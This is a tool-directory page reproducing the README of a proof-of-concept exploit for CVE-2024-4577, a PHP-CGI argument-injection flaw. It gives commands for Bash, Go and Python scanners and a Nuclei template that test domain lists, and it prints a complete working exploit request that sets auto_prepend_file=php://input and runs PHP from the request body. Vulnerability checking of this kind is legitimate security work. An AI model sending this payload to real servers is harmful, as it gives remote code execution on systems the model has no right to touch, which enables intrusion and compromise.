Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-4577-PHP-RCE — PHP RCE PoC for CVE-2024-4577 written in bash, go, python and a nuclei template | Kitploit
Tools/GitHubGitHub/zephrfish/cve-2024-4577-php-rce
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubzephrfish/cve-2024-4577-php-rce

CVE-2024-4577-PHP-RCE

PHP RCE PoC for CVE-2024-4577 written in bash, go, python and a nuclei template

View Repository
331321 month agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

PHP RCE PoC

CVE-2024-4577: Argument Injection in PHP-CGI

Overview

This repository contains scripts to check for the CVE-2024-4577 vulnerability, an argument injection issue in PHP-CGI. You can use the provided Bash, Go, and Python scripts to test a list of domains for this vulnerability. I've also released a Nuclei YAML file.

Usage

Bash Script

To use the Bash script, run the following command:

root@kitploit:~
./CVE-2024-4577.sh /path/to/domains-list

Go Script

First, save the Go script to a file named CVE-2024-4577.go. To build and run the Go script:

  1. Compile the Go script into a binary:

    root@kitploit:~
    go build -o CVE-2024-4577 CVE-2024-4577.go
    
  • Execute the binary with the domain list file as an argument:

    root@kitploit:~
    ./CVE-2024-4577 /path/to/domains-list
    
  • Python Script

    First, save the Python script to a file named CVE-2024-4577.py. To run the Python script:

    1. Ensure you have the requests library installed:

      root@kitploit:~
      pip install requests
      
    2. Execute the Python script with the domain list file as an argument:

      root@kitploit:~
      python CVE-2024-4577.py /path/to/domains-list
      
    3. (Optional) If you want to only print vulnerable hosts:

      root@kitploit:~
      python CVE-2024-4577.py /path/to/domains-list --quiet
      

    Proof of Concept (POC) Explained

    To manually test for the vulnerability, you can send the following POST request:

    root@kitploit:~
    POST /test.hello?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
    Host: {{host}}
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
    Accept: */*
    Content-Length: 23
    Content-Type: application/x-www-form-urlencoded
    Connection: keep-alive
    
    <?php phpinfo(); ?>
    

    Nuclei Template

    I've also created a Nuclei template to scan for vulnerable instances, it uses the v3 layout scheme and has been tested in a lab environment:

    root@kitploit:~
    nuclei -t CVE-2024-4577.yaml -u <target-url>
    

    Domain List Example

    The list of domains should be pre-pended with http/https to ensure they are read correctly.

    root@kitploit:~
    http://example.com
    http://testsite.com
    http://vulnerablesite.com
    

    Example Output

    If a domain is found to be vulnerable, the output will be:

    root@kitploit:~
    http://example.com: Vulnerable
    http://vulnerablesite.com: Vulnerable
    
    Download Tool